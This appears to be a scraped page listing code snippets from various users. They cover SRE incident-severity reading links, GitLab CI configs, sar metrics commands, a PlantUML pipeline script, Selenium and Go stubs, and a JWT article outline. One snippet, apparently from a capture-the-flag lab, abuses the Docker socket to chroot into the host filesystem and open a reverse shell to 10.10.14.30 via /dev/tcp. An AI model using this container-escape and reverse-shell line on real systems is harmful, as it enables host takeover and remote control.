wavedocs

SRE incident management

1. https://response.pagerduty.com/before/severity_levels/ - уровни серьезности инцидентов (пример)
2. https://www.blameless.com/blog/severity-levels - Severity Levels (What They Are & Why They Matter)
3. https://www.atlassian.com/incident-management/kpis/severity-levels - Understanding incident severity levels
4. https://rootly.com/blog/practical-guide-to-sre-incident-severity-levels - руководство по составлению классификации инцидентов
5. https://www.blameless.com/blog/severity-vs-priority - Severity vs. Priority | Понимание разницы
6. https://www.bmc.com/blogs/impact-urgency-priority/ Матрица влияния-срочность-приоритет
7. https://www.blameless.com/blog/incident-priority-matrix Incident Priority Matrix (Understanding Impact and Urgency)
8. https://www.blameless.com/blog/incident-management-best-practices - Best Practices for Effective Incident Management

PwnPeter

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

aarongorka

#!/usr/bin/env python3
"""Prints a PlantUML diagram that shows the DAG of the GitLab pipeline"""

import sys
import yaml
from pprint import pprint

def merge(user, default):
    if isinstance(user,dict) and isinstance(default,dict):
        for k,v in default.items():

t3easy

image: an-image-with-docker-and-docker-compose

variables:
  DOCKER_TLS_VERIFY: "1"
  DOCKER_CERT_PATH: ".docker"

before_script:
- mkdir -p $DOCKER_CERT_PATH
- echo "$DOCKER_CA" > $DOCKER_CERT_PATH/ca.pem
- echo "$DOCKER_CERT" > $DOCKER_CERT_PATH/cert.pem

polarnik

# за 20-30 минут до начала прогрузки запустить сбор всех метрик (-A) 
# с частотой раз в 10 сек, на 6 часов: 6 * 60 * 60 / 10 == 2160 циклов сбора метрики
timestamp=`date "+%s"`; nohup sar -A -o sar_`hostname`_${timestamp}.out 10 2160 &


# через 6 часов, полученный файл можно сразу переконвертировать в формат csv
LC_ALL=C sar -A -f sar_`hostname`_${timestamp}.out > sar_`hostname`_${timestamp}.csv

prog

build:install-vendor:
  stage: build
  image: <any-image-with-composer>
  before_script:
  - composer config -g cache-dir "$(pwd)/.composer-cache"
  script:
  - composer install --ignore-platform-reqs --no-dev --optimize-autoloader --no-ansi --no-interaction --no-progress
  cache:
    paths:
    - .composer-cache/

rverton

# Install chromedriver from https://sites.google.com/a/chromium.org/chromedriver/downloads

import os  

from optparse import OptionParser

from selenium import webdriver  
from selenium.webdriver.chrome.options import Options

CHROME_PATH = '/usr/bin/google-chrome'

casualjim

package channel

import (
	"fmt"
	"sync"
	"time"
)

func ExampleUnbufferedSend() {
	c1 := make(chan string)

tsailiming

zmts

Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Last major update: 25.08.2020

• Что такое авторизация/аутентификация
• Где хранить токены
• Как ставить куки ?
• Процесс логина
• Процесс рефреш токенов
• Кража токенов/Механизм контроля токенов